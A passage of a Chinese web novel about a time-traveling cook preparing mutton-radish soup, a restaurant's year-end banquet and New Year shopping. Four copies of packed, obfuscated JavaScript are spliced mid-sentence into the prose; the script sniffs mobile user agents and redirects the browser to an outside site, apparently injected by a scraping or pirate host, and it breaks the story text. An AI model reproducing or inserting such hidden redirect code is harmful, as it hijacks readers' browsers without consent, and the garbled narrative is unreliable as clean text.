“忍不了，主笔的失误为什么要我承担责任。”周瑶理刚刚想恶作剧系统才扬言自己生气的，但现在是真的怒火心中烧。 周瑶理其实很好相处的。 系统每次展示自己的废材之力时，她嘴上说着不高兴，最后也只是吐槽两句。 但这次不同，还处在气头上的周瑶理一语不发，不管系统怎么赔罪她都充耳不闻。 “你放心，以后绝对不会再次出现此类问题。”系统保证。 不瞒她说，系统此次断联也和吃书有关。 因为时空异动所造成的影响，系统当天被紧急召回进行升级更新。今天维修结束后才被放回，不过它现在是2.0系统。 沟通更灵敏、通知更高效，能力保持废材。 周瑶理本来气消了一大半，发现还是没有金手指，熊熊烈火又燃烧起来。 系统紧急进行关系修护，“但是我现在更完善了，而且上头已经拨款下来，预计此次进度奖励更丰富。” 暂且信它一次，周瑶理哼气表示放你一马。 “但是这次吃书问题严峻，所以后续需要挑战者一同修补破洞。”系统害怕再次惹恼她，说话声都降低不少。 周瑶理叹气，不接受还能怎么办。 她想回家啊。 整理完思绪后她想起系统说过，之前的剧情是有框架的。 那岂不是意味着她一路上遇到的人和事，都是固定节点等待她触发剧情？ “沈秋瑜对我好也是设定好的程序吗？”说实话周瑶理不想听到肯定的回答。 如果连自己在这接收到的第一份善意都是数据库里的代码，那她从始至终和副本npc有什么不同。 “不是哦。”系统的否定让周瑶理心里提着的大石头放下。 深秋瑜确实是固定等待触发的npc，但作为挑战者的周瑶理进入副本后会给其他npc附上灵力值。 副本里的人在周瑶理存在的这段时间内可以从文字中逃脱，拥有自己的想法。 总而言之，像人。 最后系统再三保证此类异动现象不会发生第二次，周瑶理完全可以放心推动剧情发展。 和系统聊过之后，周瑶理难得睡个好觉。 回到现代那瞬间她是眼含热泪，在床上怒翻几个滚儿。 柔软的床垫、天花板上的白炽灯，果然还是当现代人比较好！ 五天没回来，手机的聊天软件全是新信息。 好在周瑶理平时不怎么跟家里人发信息，周莲莉前天给她发过几次消息，没收到回信还以为她在忙着剪视频之类的，便没放心上。 周瑶理抽空给她回信，毫不意外被痛骂一顿。 美食账号接连几天没更新，最新一条视频下面全是网友的催更。周瑶理随便挑了几条回复，保证过年前还会再更一条视频。 林嘉行给她发过几条信息，最后一条是告诉她今晚回去。 这会儿他那边应该还是凌晨，以免打扰他休息，周瑶理便没有回他。 雍都。 周瑶理睡醒盯着顶上的红木床板发呆，想起林嘉行提过今天会来，立马跳下床窜出去。 她倒要看看系统有没有骗她。 林嘉行许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006546|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久没回雍都，刚睁开眼看向屋子里的陈设霎时有些恍惚。 来不及感慨就听见外头传来声响，起身捞过外裘披上。 周瑶理刚绕到这边，正好遇上林嘉行的门从里面打开，两双视线交错的同时，她感动得都想抱住林嘉行。 实际上她也这么做了。 林嘉行没想到周瑶理这么热情，门才打开几秒的时间，她像看见金条一样冲过来将自己抱住。 甚至把他抱离地面一小点距离。 好一招‘周黛玉’倒拔垂杨柳。 “我回来了。” “欢迎回来。” 二人异口同声，随后又都笑着转开头。 后头抱着斗篷跟过来的银春见状猛地转过身，连带把赶过来的文竹也一同拽住转了个圈。 周瑶理听见后方杂乱的脚步声好奇回头，结果看见那俩人背对着她们不知道在干嘛。 对哦，不知道他们两个记忆有没有回档。 “你俩干嘛呢？”周瑶理放开林嘉行，转头满脸怀疑地盯着二人。 银春悄悄转过头，嘴角的笑还没藏住。 “周姑娘一大早外衣都没穿就跑到林郎君房间门口。” 她这才发现自己只穿了睡衣，难怪凉飕飕的。周瑶理立马接过斗篷路上，跺脚取暖。 看来银春她们真如系统所言，有关林嘉行的记忆会在他回来后全部返还。 饭馆的人发现周大厨今天心情很好，至少没有前几天那么低落。 “周姐姐今儿有什么喜事？”店里跑堂看了存心打趣她。 跑堂的是个和银春差不多岁数的郎子，平时就喜欢周姐姐来周姐姐去的。 周瑶理上前假意在他头上猛敲，“没有大喜事儿就不能高兴吗！” 李元玉恰巧从二楼走下来，闻言力挺周瑶理。 “就是！”不过她确实有大喜事儿。 东家将大伙儿都聚在一块，决定宣布件大事儿。 周瑶理和其他人都非常好奇，最近店里也没接大单啊。 “我宣布明天早点打烊，请大家在饭馆里吃饭！” 离过年就剩十几天，李元玉决定明天结束后就关闭营业，等来年开春了再开张。 东家是当地富商的闺女，家中富硕不差这几天的收入。 “小周记得把表公子也带来。” 吃晚饭时周瑶理跟林嘉行提起此事。 “说是提前给大家拜年，让我把你也带过去。” 林嘉行盛碗热汤放在她手边，“那我们带什么礼物去比较好？” 第一次去人店里吃饭，空手去好像不太好。 周瑶理闻言顿住，她倒没想过这个问题。 第二天饭馆早早关门闭店，周瑶理在厨房和陈绣轻点食材。 “哎呀，忘记买豆干了。”陈绣在桌上翻来找去就是没找到豆干。 今晚她打算做鸡汤煮千丝来着。 “没事你先清点剩下的，我去找掌柜的取银子买去。”周瑶理将手中的单子交给她，揣手跑出去。 掀开帘子刚喊句掌柜，瞧见她站在堂中正和袁敬文说话。瞧见周瑶理来了，两人纷纷停下。 袁敬文隔大老远就朝她行礼，嘴角抿笑看她一步步走近。 35. 萝卜羊肉汤 “人多热闹。”李元玉猛将她拽到跟前，笑得瘆人。 周瑶理腹诽人是不是到一定年纪就喜欢做媒，掌柜的还没放弃撮合她和袁敬文这事儿。 俩人站对面对视无言，李元玉恨铁不成钢地朝袁敬文使眼色。 这书生是不是呆子啊！ 好在他接到东家的信号，藏在衣袖下的手捏紧，做足了准备。 “好巧，周姑娘也在。” 李元玉安详闭上眼，是她太看得起袁夫子了。 这货就是个书呆子。 袁敬文自己讲完也觉着不对劲，偷偷瞄了眼对面的姑娘后懊恼撇过头。 周瑶理反而自在许多，憋笑憋得肩膀都在抖。 “可不巧吗，刚从厨房出来就撞见袁郎君。” 几句调侃过后，方才的尴尬气氛才散去。 李元玉见此赶紧拉两人坐下，“你们年纪相仿，能聊的多。” 话音落，紧闭的店门被敲响。 掌柜的刚想说都打烊了谁还来吃饭，就见周瑶理像泥鳅那样从她手下钻过。 敲门声来得及时，她正愁找不到机会开溜呢。 “实在抱歉，本店打烊了。”周瑶理推开条小缝探出头，结果发现敲门的人是林嘉行。 再低头，瞧见他手里还提着礼盒。 林嘉行昨天听她提起今日酒馆关店早，算好时间去酥饴堂买些糕点，赶到饭馆时果真瞧见店门紧闭。 周瑶理干脆把门打开，本来烘得人犯懒的饭馆瞬间被外头的冷风灌进。 掌柜的还在同袁敬文聊天，这会儿被冷得直搓手。 “小周快把门关上，”转头发现周瑶理出去一个人，回来还带了一个，“表公子来得也早。” 这下人都到齐了。 李继荣惦记林嘉行提着的糕点盒已久，等他伸手递来立马接过，等李元玉发现时他已经打开了。 掌柜拧住他的耳朵，碍着外人的面不好骂人，最后在他额头上重重点几下。 “是酥饴堂的桂花糕，周姐姐阿兄真懂行！”和别家不同，酥饴堂的桂花糕还带酒酿夹心。 李继荣大概扫了眼，全是店里数一数二的糕点。 相比较下他还是喜欢林郎君送的，夫子只知道给他送书。 今天也送了诗经，说是让他来年多多读书。 林嘉行闻言和周瑶理对视偷笑。 之前他们刚搬来时住隔壁院子的夫人给他们送过，俩人最喜欢的就是里头的桂花糕。 这时陈绣从后厨出来询问李元玉是否需要现在开始准备。 看到她周瑶理才想起自己一开始打算干嘛来着，越过李嘉行取来菜篮子。 接过荷包时李元玉还问她东西多不多，需要不需要多个人陪她去。 坐在楼梯台阶上的小鱼跳下来取走挂在墙上的竹篮，一句我陪周姐姐去的话还没说出口，堂中两个郎君异口同声。 “我和她去好了。” “我陪她去吧。” 林嘉行转头看向袁敬文，末了拿走周瑶理手中的菜篮。 “就不劳烦袁夫子。” 她和林嘉行出门前掌柜的非将袁敬文也推过来，说是人多方便。 无奈下周瑶理只好带上俩人上街买东西。 饭馆附近便是卖菜的集市，一出门三人直奔豆腐摊儿。此时快到晚饭点，热乎的鲜豆腐早就被哄抢干净。 还好周瑶理只需要帮陈绣买点豆干就行。 “五文钱，再多送小周姑娘一块。”豆腐摊的婆婆认得她，反正快要收摊回家，干脆做个送水人情。 买完陈绣要的豆干又马不停蹄前去寻东家交代要买的东西。 经过肉摊周瑶理紧急刹住脚步，她看到了排骨。肥瘦均匀，一看就是新鲜货色，而且还是中排。 她都想好提回家后一半油炸一半糖醋，想想都流口水。 “大哥这排骨多少钱？”周瑶理手上的东西全分摊给身后俩个跟班，清闲自在地捏起排骨左右掂量。 对方要价45文一斤，周瑶理婉拒。 但眼前这半板排骨实在生得端正，走出去两步她又原路返回。 周瑶理开价30，她把剩下的排骨全包了。 肉摊老板天生八字眉，看着就不好相处。闻言举着刀叽里咕噜不知道在说些什么，周瑶理心虚地撇他两眼。 确实砍得有点太过低了。 袁敬文死死盯住对方手里的刀，生怕他朝周瑶理迎面劈来。没想过对方放下刀，还真把排骨卖给她。 “您今天卖不出去这肉就浪费了，还不如卖给我呢。” 最终俩人各让一步，周瑶理用35文一斤的价格将那半板中排包圆了。 结果卡在给钱这步。 她出门没带钱，东家给的银两正好用完。 袁敬文瞧她在身上四下摸索就想到定是没带银钱出门，摸出自己的荷包准备递过去，可惜被林嘉行截胡。 “还好我带了荷包。”林嘉行取下腰间挂着的荷包递过去。 周瑶理还完钱顺其自然地将荷包塞自己怀里，转头看见袁敬文盯着她像是有话要说。 她还以为是自己算错钱数，低声问是她给多了吗？ 袁敬文摆手，想了想又说，“周姑娘和表公子关系真好。” 连荷包都不分你我。 全程没怎么说话的林嘉行自然拎走排骨，看都没看对方，“和瑶娘二人出门在外，相依为命惯了。” 冬日天黑得早，出门时天还是通亮的，回到饭馆天色都暗不少。 三人大包小包回到店里，放下东西周瑶理着急忙慌往后厨钻。 逛得太开心在外耽误太久，差点忘记她今晚要做的羊肉汤得炖好长时间。 有她在场林嘉行和袁敬文还能聊两句，人走了俩人相对而坐，谁也没找对方说话，只顾着喝茶。 小鱼都添上两次茶水，那俩人还是没说一句话。 “掌柜的，我怎么觉得林郎君不太喜欢袁夫子。”小鱼趴在李元玉耳边悄悄八卦。 李元玉抱手一副过来人模样摇头，这是表公子在试探袁夫子品行如何。 周瑶理把豆干丢给陈绣，取下围裙着手准备自己今晚要做的菜式。 昨天商定菜单时发现其他菜色都有了，她干脆将之前想做的换成萝卜羊肉汤。 都说冬吃萝卜夏吃姜，老人家常言这个季节的萝卜比人参还金贵。 羊肉也适合这个天气，寒风簌簌的天气最适合来上碗热乎乎的羊肉汤，像裹了棉被一样暖和。 中段羊排事先已让肉摊的老板剁好，刚刚出门前也交代陈绣帮她泡上水。 这会儿差不多把血水都泡干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011586|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净，加入姜片黄酒葱段和她自己做的料包，冷水下锅煮开撇浮沫后再捞出用温水冲洗。 周瑶理刚捞起羊肉走开，空出来的灶台就被陈绣补位。 饭馆算上她拢共三位厨子，好在灶台够多。等她清洗完羊排，另一边也空出个灶台。 周瑶理连忙端着食材快步过去，以免又被别人抢去。 还没厨房灶台高的时候，周瑶理总以为肉汤里的羊肉直接煮不就好了。羊会产奶，到时候羊汤自己就会变奶白色。 周莲莉那时还笑她要是用公羊怎么办。 后来再长大些，进厨房围观妈妈做饭时才知道，羊排还得煎过才行。 周瑶理回想周莲莉当年的做法，热油下姜片爆香，再倒入焯好的羊排煸煎至姜黄后，立马倒入开水煮沸。 “谁能帮我拿个砂锅？”周瑶理刚说完，小鱼不知道从哪里钻出来的，立马递上来砂锅一个。 二人合力把锅抬起，将羊肉汤转移到砂锅内。 到这时便不用大灶了，改用单个炭火炉慢煨三刻钟。 萝卜羊肉汤简单，工序也不难。 其他人还在热火朝天颠锅猛炒，周瑶理已经可以在后厨悠闲走动，看看他在准备什么好吃的又看看另一边进行到哪儿了。 “陈姐今天做什么？”周瑶理看锅里同样煨着汤。 “咱们江郡人最爱吃的，煮千丝。”陈绣拎起根豆干细丝递给她。 周瑶理敢保证，这根豆腐干绝对能穿过针孔。 陈绣她家往上数三代都是厨子，打小就在厨房混。所谓日积月累，她那刀工不得了。 这千丝又分三丝，分别是豆干丝、火腿丝和笋丝。 以鸡汤做基底，放入三丝小火煨上一刻钟。 周瑶理出门买东西那会儿，陈绣就已经把鸡汤炖上，鸡肉都软乎都不行。 “呐。”陈绣给她盛一小碗鸡汤。 刚炖好的鸡汤就是不一样，汤里只加小撮盐调味，还有几颗红枣。入口只有鸡汤的鲜味和红枣带来的香甜。 周瑶理从外头回来到现在都没喝上口水，陈绣给的这碗汤下肚，浑身都暖和起来。 煮千丝需要用到的鸡汤，留着也是浪费。 周瑶理找来小碗，陈绣续上汤后再让小鱼端出去。 用来隔开大堂和后厨的帘子并不长，正对着的桌子还能从下半没遮住的空间窥见厨房忙碌的样子。 小鱼从里面出来还是周瑶理帮她掀的帘子，她们这边的轻微动静引得坐在堂中的人纷纷看过来。 林嘉行以为她已经弄得差不多，眼睛就没离开过厨房的位置。 没想到人又退回厨房。 他眼里的局促被抓住，周瑶理藏在帘子后头捂嘴偷笑。 也难怪他会不自在，外头那群人林嘉行只认识袁敬文，偏偏俩人像死对头。 其他伙计听掌柜的提起过周大厨的表兄一表人材，有些没见过的这次都盯着他看。 周瑶理笑够了方才重新撩开帘子隔空传话。 垂落的帘子被有心人掀动，林嘉行条件反射转过头去看见周瑶理露出个脑袋，嘴巴一张一合。 再等等，快好了。 林嘉行微蹙的眉毛松开，嘴角带笑轻松点头。 坐在另一侧的袁敬文只是静静地盯着他，随后转过头不知道在想什么。 36. 姑娘海量 锅上的羊汤煨得差不多，周瑶理拿走事先切好的萝卜块倒入。 盖子一开，后厨各个角落都被羊肉味占据。经过处理的羊肉毫无杂味，只留下油脂奶香。 小鱼从刚开始就惦记她这锅羊汤，这会儿杵在边上翘首以盼。 “萝卜切得好奇怪啊。”她是跑堂的，对厨房事一窍不通。 周瑶理守在炭火炉前紧盯砂锅，分出点心思回她，“这叫滚刀切，会更入味儿些。” 万户炊烟起，饭馆的大家已经落座等开席。 最后一锅萝卜羊汤上桌，大堂瞬间热闹起来。 “这是我做的煮千丝和清炖狮子头。” “我做的是锅烧笋和烧麦。” 各自介绍自己的拿手好菜，一顿收业宴吃出满汉全席的味道。 周瑶理最后掀开砂锅盖子，“我就只做一道，萝卜羊汤！” 菜色全上齐，众人酒杯都斟满酒，全部望向李元玉，期待她说两句。 见状她端着酒杯清嗓，“咱们饭馆能有今日全靠各位相互扶持，我敬大伙儿一杯！” 掌柜的豪爽，仰头把酒干掉，倒扣不落一滴。 其余人纷纷举杯一饮而尽。 周瑶理和林嘉行相邻坐，举杯时还不忘和他捧杯。 俩人相视默契对笑，“早日回家。” 转头发现袁敬文也看向她们，周瑶理举到嘴边的酒杯掉转方向。 两杯对碰，在交错的谈话声中留下细微的脆响声。 “祝袁郎君，高中状元。”她听东家说过，袁敬文决定参加明年的春考。 豪爽饮尽，她轻晃空酒杯朝对方挑眉。 袁敬文没想到周瑶理会注意到自己，局促端起酒杯，“也祝周姑娘一举夺得大赛甲等。” 醇厚清香的青梅酒下肚，周瑶理被辣劲儿打得措手不及。 但是辣感过后反起的梅子清香占上风，舌尖回甘。 不愧是最佳风味期的青梅酒。 被辣酒袭击过的胃部急需一点能镇得住压的压石，萝卜羊汤便是首选。 小鱼算得上是店里的小孩，也是最贪吃的一个。 刚刚看大家杯子里都斟满了她也不甘示弱，背着李元玉也给自己倒了点。 结果被辣到龇牙咧嘴，连手脚都不知道该放哪儿。好在面前是碗羊肉汤，顾不得烫嘴就捧起来猛嘬一口。 总算舒坦了。 文火慢煨一个时辰的羊汤此时散发着浓郁油脂香，入口又是萝卜的清甜。 肋排更是烀得软烂，只需轻轻夹起，骨头便能从中脱落。 入嘴即是软嫩油香，提前煸煎过的缘故，捎带的油边丁点儿都不腻。再配上块清甜萝卜块，看着满桌的丰盛又可以继续大快朵颐。 “要是能每天喝一碗羊肉汤，此身无憾了。”小鱼低下头又猛灌一口感慨。 周瑶理吐槽她若是天天喝，得嘌呤过高了。 “什么叫嘌呤？”李继荣平时不好学，出了学院啥都想学。 她说不好怎么解释，最后反倒问起李小郎君的功课来。 李继荣巴不得脚上装风火轮逃离是非之地，抱着碗撇嘴，他以后再也不随便开口了。 “小周，我跟你喝一杯！”李元玉举着酒杯走过来，一屁股把啃羊排的李继荣挤走。 这才刚开宴她就喝上头了，等结束不知道得醉成什么样。 周瑶理向来来者不拒，豪气端起酒杯对碰，“走一个！” 上大学时她舍友吐槽她平时看着像个受气包，一碰上酒不知道的还以为是哪来的大姐大。 三两杯下肚，东家开始拉住她回忆往事。 从少小学堂逃课气夫子到成家立业开饭馆，一把辛酸泪。 “小周，我没你不行。”说罢，强硬把酒杯塞周瑶理手里。 俩人喝完一坛青梅酒，李元玉又指使夫郎再去取坛新的来。 林嘉行坐在边上看她俩满杯酒杯杯下肚，心都慌了。 再喝下去不得醉成烂泥。 “瑶娘，别喝了。”他在底下默默扯住周瑶理的衣袖，低着嗓子开口。 没想到她喝这么多居然还能面不改色，转头在他手上轻拍安抚，“放心吧，姐们儿练过的。” “哎哟，小周海量。”李元玉已经醉得不知西东，对着眼前的空碗眯眼笑。 周瑶理无奈，“掌柜的，我在这呢。” 林嘉行拗不过，只要一劝就被周瑶理拍开。 最后郁闷坐在一旁喝茶。 自娱自乐没多久，对面的袁敬文不知道什么时候把自己灌醉的，举起酒壶不分青红皂白就往他的茶杯里倒，说什么都要同他拼酒。 最终除那几个不会喝酒的小孩外，只剩下周瑶理尚且清醒。 林嘉行已经醉到不知方休，把桌上的排骨当成袁敬文猛戳。 “让你惦记别人家姑娘。”戳死你！ “时间不早了，我们就先回去罢。”周瑶理拽起林嘉行塞给来接人的文竹，转头告别。 早上出门前和文竹交代过，宵禁前三刻来饭馆接人。 李元玉死拽她不让走，非说今晚就要摆桌和她拜姐妹。周瑶理好不容易披上的斗篷被她扯得又松了绑带。 “我求你了姐，真求你了。”再晚点她就赶不回去了。 最后还有些微清醒的李家夫郎和小鱼她们合理将李元玉的爪子掰开，放周瑶理一条生路。 她抓紧推着林嘉行上车，好似身后有洪水猛兽。 跨上马车帘子还没放下就被袁敬文喊住，周瑶理歪头询问。 许是今晚有酒壮胆，袁敬文鼓起勇气，“瑶，周姑娘新春吉庆。” 还是没有资格喊出那句瑶娘啊。 “袁夫子也是，新春嘉平。”周瑶理礼貌回应。 此时林嘉行像是突然清醒般，隔着帘子喊她。 “瑶理，我难受。” 闻言周瑶理快速和袁敬文道别，随后让文竹赶紧驾马回家。 她是真怕林嘉行吐车上啊！ 林嘉行没骗她，是真难受。 周瑶理钻进车舆就看他头靠在车壁，脸颊泛红眉头紧锁。 偏偏回去的路不稳，路过大坑时突然大颠簸，林嘉行直接砸向车壁。 这下好了，额头也红彤彤的。 服了。 “我心地善良，大发慈悲把肩膀借你。”周瑶理坐直身子，贡献出自己的左侧肩膀。 安静片刻，肩头压上重量。 林嘉行倒在她肩上，鼻尖划过脖子。 是喝了酒的原因吗？体温升高，就连鼻息都灼人。 银春老早等在门口，瞧见远处的马车逼近，连忙上前。 意想到醉酒的周瑶理居然清醒得不能再清醒，反而是林郎君醉成烂泥。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015737|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 好在还有意识能自己走路。 “快快，把他弄回去。”周瑶理费劲吧啦把人挪下马车站稳，急忙喊银春他们搭把手。 把林嘉行放倒在床，周瑶理将其他人都赶回去睡觉。即使是文竹满口礼数不合，也撼动不了她的决定。 “放心吧，我不会把他怎样的。”周瑶理尝试给他喂颗定心丸。 好言相劝把人都赶走，关上门她才得以松气。 可能刚刚出太多力，这时候酒劲猛地冲上脑门。 周瑶理虚浮脚步扶着墙往里走，好在房内除了床榻之外另摆张可小息的睡榻。 坐下时她告诫自己，只是休息会回下血。 屁股刚碰到座榻就躺倒了，甚至还用斗篷将自己裹紧。 瞌眼睡得一塌糊涂。 第二天撑住脑袋从垫子上坐起来，周瑶理忍不住吐槽。 明明回现代就立马煮了醒酒汤喝，怎么来到雍都头还是那么痛。 “喝酒误事。” 边揉额头边往外走，抬头猝不及防和同样捂着脑袋从帐幔里探出头来的林嘉行双目相对。 周瑶理大喊，你怎么在这？ 不对，不是熟悉的布局。 她又问：我怎么在这？ 林嘉行一早起来还没缓过神，他也想问为什么额头会那么痛。 林嘉行哑着嗓子，“你。” 刚说出个字。 周瑶理惊恐：“我没有对你图谋不轨！” 手摸到门后立马推开跑出去，门外还在争吵的俩人此时也停下来，银春直接一把将文竹推开跑上前。 早上在周瑶理房间内找不到人把她吓坏了。 平时这个点周姑娘已经开始哼唧不想起床上班，今日房间内寂静无声。 银春在门上敲好几声都没人应，急得推门进去。 结果屋内空无一人。 想到昨夜是周瑶理在照顾林郎君，她又转头往另一边去。正巧遇上文竹守在门外，进也不是退也不是。 最后俩人一起等在外头。 她担心昨晚俩人会不会出什么事儿，林郎君还喝醉了。 文竹一听这是在中伤我家郎君，“我家郎君是正人君子，绝不会干那龌龊事！” 银春不服，“我家姑娘还容貌昳丽赛神仙呢！” 二人谁也不服气谁的，在外头吵得不可开交。直到门被推开才堪堪停下。 “姑娘昨夜有没有睡好？头痛不痛？厨房煮了醒酒汤现在要喝吗？”银春跑到跟前一口气说完。 周瑶理本来就头痛，现下更痛了。 不过还有更重要的事。 “我要沐浴。”她刚刚闻到自己浑身酒味，嫌弃的不行。 “诶！我这就烧水去。”说完，银春一溜烟儿地跑远。 周瑶理扶住门框缓缓，方才提步离开。 刚走两步又转头回来。 林嘉行看着她急冲冲往自己来，不明就里地歪头。 周瑶理怒气冲冲往回走，在林嘉行面前刹住。 抬头叉腰，“你以后不许喝酒了。” 三杯倒的酒量，是怎么敢和别人拼酒的。 林嘉行尴尬挠头，点头入蒜。 等人离开后文竹指着他额头上发红的地方，小声提醒，“我去煮颗鸡蛋给郎君热敷一下吧。” 看起来还有点肿的样子。 37. 年货 两个宿醉的人为了醒酒，当天连门都没出。 下午银春替厨房的人来问晚饭食单，周瑶理都提不起兴致。 满肚子酒水哪还有吃饭的念想。 厨子也犯难，总不能一整天都不吃饭吧。主家二人中午便没吃多少，那菜色就只动了两筷子。 “简单弄点算了，煮个芡实山药粥就行。”健脾暖胃，正好适合。 过一会儿厨子来询问，是甜口还是咸口的。 “当然是咸口的。”周瑶理扔开话本子，从暖厅的睡榻上仰坐起身。 削皮切块的山药和泡软的鸡头米丢进砂锅中煮沸，再倒入淘好的米。 米要一半糙米一半粟米，最好能再加点糯米。 等二次沸腾再挪到火炉小火煨上一炷香的时间，最后出锅前淋上香油和少量盐。 宿醉后能喝上碗飘着米油的山药粥，那是再好不过。 “再蒸两个咸鸭蛋。”周瑶理又想到配粥的搭档。 单只有碗粥肯定是不行的。 还记得初中在课本上学到《端午的咸鸭蛋》那会儿，上课时她就被高邮咸鸭蛋馋得不行。 那会儿放学回家她就翻箱倒柜找出家里的咸鸭蛋，非说晚上吃这个，结果根本没有课文里说的那样吸引人。 周瑶理评判这颗蛋，蛋生不幸。 腌得好的咸鸭蛋是透油的，蛋黄被薄薄一层蛋白包裹住，筷子轻轻戳开就能吱拉冒红油。 滴落的蛋油也别浪费，用盛粥的碗接住，再一搅拌开，原本乏味的粥又添风味。 最最关键的是咸蛋黄，绵沙质感入口即化，毫不发咸或藏有蛋腥。 她还特地叮嘱厨子，一定要取红色盖布那坛。 那是她前些天在南街搜刮到的，周瑶理愿称卖咸鸭蛋的老伯为江郡咸鸭蛋之父。 他家的咸蛋和书上所描绘的一模一样，如同个模子刻出来般。 晚上吃饭的间隙，林嘉行问她是不是小时候在课堂上的心思全在吃的上了。 “你记得那篇腊八粥吗？”周瑶理突然想起好笑的。 林嘉行点头，她一说就全都记起来了。 周瑶理是南方人，过年哪里有吃过腊八粥这类东西。 偏偏在最馋的年纪看到写有美食的篇章，缠着她妈给她做。 周莲莉不懂她但又有求必应，第二天晚上周瑶理的晚餐是碗腊八粥。 她根本不喜欢吃。 “你都不知道我妈煮的那个粥，豆子硬得差点把我牙崩掉。”周瑶理边想边笑，她还记得当天晚上就把写腊八粥的作家拉出美食家行列。 俩人笑得前倒后仰，差点被粥呛到。 一整天下来酒醒得差不多了，周瑶理让人把矮几挪到堂屋前。 那块地方大，平时她就喜欢坐在台阶上赏花赏雪。 毕竟没有手机，也只能做些风雅的事儿。 冬日的瓜果蜜饯，暖手壶和围炉煮茶，不用上工的日子倒也清闲。 “时间过得真快啊，转眼咱俩到这都快半年了。”周瑶理呼出口白气，转头接过茶杯。 说起来当时发现林嘉行和她一样是现代人的时候，周瑶理怀疑过这是不是他给自己设的杀猪盘。 今天提起这茬，她才想起其中的怪异之处。 “你怎么知道我不是当地人的？”周瑶理四处打量过后，朝林嘉行招手，趴在他耳边小声嘀咕。 “我见过你。”林嘉行看着她，“在一部叫《燥候厨神诞生》的电视剧里。” 周瑶理惊恐，她是个美食博主，哪里拍过电视剧。 那他又是怎么来到这的？ 林嘉行偏头：“电视剧有个沉浸体验模式，同意后就变成现在这样了。” 周瑶理疑惑：“你没有随身携带系统吗？或者任务？” 像她一样，身上还背着个废物系统，只管送她来不管死活。 对方摇头，从没有过系统之类的东西，就连任务也是没听过的。 时隔半年，俩人终于想起来对峙。 周瑶理取来笔墨，把互相知道的东西全都罗列在一起。 最终发现林嘉行真如系统所说，就像游戏设定的那样，类似游客登录的另一个玩家。 由于是没有账号记录，所以无法接触主线。 或者说以旁观者的身份走过周瑶理推动的剧情。 “所以你不是系统送我的金币库！”亏得她还念叨过系统的好，知道没有金手指，单独开个金币库给她。 “它会很吵吗？”林嘉行不知道她在说什么，只拣取到系统俩字儿。 周瑶理皱眉回想，随后摇头。 系统就这点好，话少。平时一般不说话，只有有事喊它的时候才会出现。 也没有电流杂音，除了紧急报错那回。 “你这头发是怎么回事。”周瑶理好奇林嘉行头发许久。 既然他和自己一样都是身穿，头发不应该也是短的吗？难道林嘉行现代那么时尚，居然留这么长的头发。 想到这她悄咪咪上手拽了把，“真的！” 居然不是假发。 头皮突然传来被拉扯的力度，林嘉行不由得向她那边倾斜。 林嘉行无奈叹气：“我没有留长发。来雍都就有的。” 江郡难得这么多天都没下雪，内院的石子路也终于没再被雪覆盖。 周瑶理说我们结盟，两个人总比单枪匹马强。 林嘉行伸手悬在空中，“我们不早就是盟友了吗。” 从昌南道开始他就决定了，周瑶理去哪他就去哪儿。 难得有连续十几日的休息日，周瑶理忙得脚不沾地。 离过年就剩几日，这些天她都在忙活买年货的事。每天带着林嘉行他们走走这间铺子，逛逛那家店。 腊月是桃符市，满街都是卖春联之类的装饰。从街头走到巷尾，四人双手都拎满东西。 迎新的春联、过年的果脯蜜饯，顺道还去缎庄取了新做的袍子。 路过肉摊周瑶理停下脚步。 老板说是今早现杀的，可新鲜。她拎起来翻动几下确定肉贩没诓她，直接拎走十斤。 文竹瞧见那一大板肉，瞪圆了眼睛四处溜转。 这么多得怎么吃完！ 周瑶理只顾着掏钱，完全没看见身后三人的眼神。 她准备做点肉丸子，留着过年吃火锅用。 年夜饭当然要打边炉了！全桌宴只能累死厨子，还得从初一吃剩菜吃到初五。 火锅是必然选择。 可惜了没有辣椒，吃不了川味辣锅。 椰子鸡汤底的火锅也想吃，想到这周瑶理叹气。 “好想喝椰青。” 银春好奇，啥叫椰青。 周瑶理拎走猪肉递给林嘉行，边走边想该怎么向她解释。 “嗯…圆圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019229|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，外边是绿色硬壳。”敲开里面还有像麻绳一样的丝条。 